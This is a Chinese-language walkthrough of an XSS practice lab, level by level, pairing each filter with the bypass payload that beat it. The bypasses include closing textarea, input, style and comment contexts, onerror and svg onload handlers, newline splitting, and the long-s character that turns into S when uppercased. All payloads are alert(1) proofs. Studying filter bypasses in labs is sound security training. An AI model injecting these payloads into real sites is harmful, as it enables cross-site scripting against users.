做完xss-labs靶场后,再继续做这个靶场,感觉这个不是很难,毕竟在第一个靶场也获取了一些经验,但是这个靶场偏向技巧,所以还是以了解为主。
0x00:
分析:对我们的代码未作出限制,因此这里可以使用多种方法来进行绕过
<script>alert(1)</script>
0x01:
分析:这一关有了限制条件,这里给出的限制条件是<textarea>,而<textarea>标签下所有js代码不能执行,所以需要先闭合该标签。只要逃出<textarea>标签即可
</textarea><img src="1" onerror=alert(1)>
测试结果:
0x02:
分析:我先使用<script>alert(1)</script> payload进行测试,发现写进去未执行,原因是这里给出的限制条件是input标签,我们可以尝试闭合input标签,即添加"和>。逃出input标签后就行,可以使用的payload比较多;
"><script>alert(1)</script>
测试结果:
0x03:
分析:限制条件是replace方法和过滤了()。我们可以通过实体编码括号和反引号``来绕过。
测试:
0x04:
分析:再上一关的基础上过滤了反引号,那几很简单了,采用编码的形式来进行绕过:
测试:
<img src="1" onerror="alert(1)">
0x05:
分析:刚开始我们输入简单的payload进行测试,发现我们都是以注释的形式展示,那我们的js标签肯定生效不了了,只要逃出注释符,那我们的payload就会执行。
测试:
--!><script>alert(1)</script><!-
0x06:
分析:这里给出的限制条件是对auto和on开头只要加上等号就会变为下划线,加上大于号大于号也会变为下划线,过滤了autoforce和onerror事件,这两个事件我们就用不了了,我们可以使用一个换行的技巧前提要加一个type属性值image和src映射路径属性,然后再让等于号和属性分开。
测试:
type="image" src="1" onerror
=alert(1)
0x07:
分析:限制条件是对<></>标签进行了限制,不能闭合标签,那么这里我们可以使用<img标签来通过。
<img src="1" onerror="alert(1)"
测试:
0x08
分析:通过下面代码,这里给出的限制条件是对</style>进行了过滤,如果输入就会显示后面的编码内容,并且style标签中只能出现文本或者符号,js代码无法生效,我们尝试换行技巧
测试:
</style
><script>alert(1)</script>
0x09:
分析:
通过输入简单的payload,我发现返回值为Invalid URL,于是我查看了代码,原来是需要加入url地址啊,那就很简单了;
测试:
http://www.segmentfault.com"></script><script>alert(1)</script>
0x0B:
分析:通过简单的测试,发现我们的代码都转为了大写,然后查看过滤函数,和我想的一样,toUpperCase函数;直接编码就行
测试:
<svg/onload=alert(1)>
0x0C:
分析:简单测试下,发现关于script标签的都会过滤,那很简单了,要不使用实体编码要不双写,而且继续对代码转为大写,上一关的payload完全符合啊,很巧,哈哈哈哈
测试:
<svg/onload=alert(1)>
0x0D
分析:限制条件是通过正则表达式过滤了<、/、"、'这四种符号,并且指定了我们的input在//注释语句中,首先逃出注释语句
测试:
-->
alert(1)
-->
0x0E
分析:
这一关我想了好久还是没想到,最后查看了别人写的分析才明白了。
这里给出的限制条件是使用正则表达式过滤了所有字母,并且将字母小写转为了大写,如果输入<script>就会转为<_CRIPT>,所以这里只能使用一个特殊的符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。
测试:
<ſvg onload=alert(1)>
0x0F
分析:
测试:
aaa'),alert(1)//
0x10
分析:这一关没啥限制,直接在<script>标签输入alert就行
测试:
alert(1)
0x11
分析:限制条件是对`,“,<,>,,\n等进行了过滤,我们输入双引号它会显示\”,其实这里并没有将双引号成功过滤,所以还是可以去使用。
测试:
");alert("1
0x12
分析:
测试:
</script><img src="1" onerror=alert(1)>
多练习,掌握经验。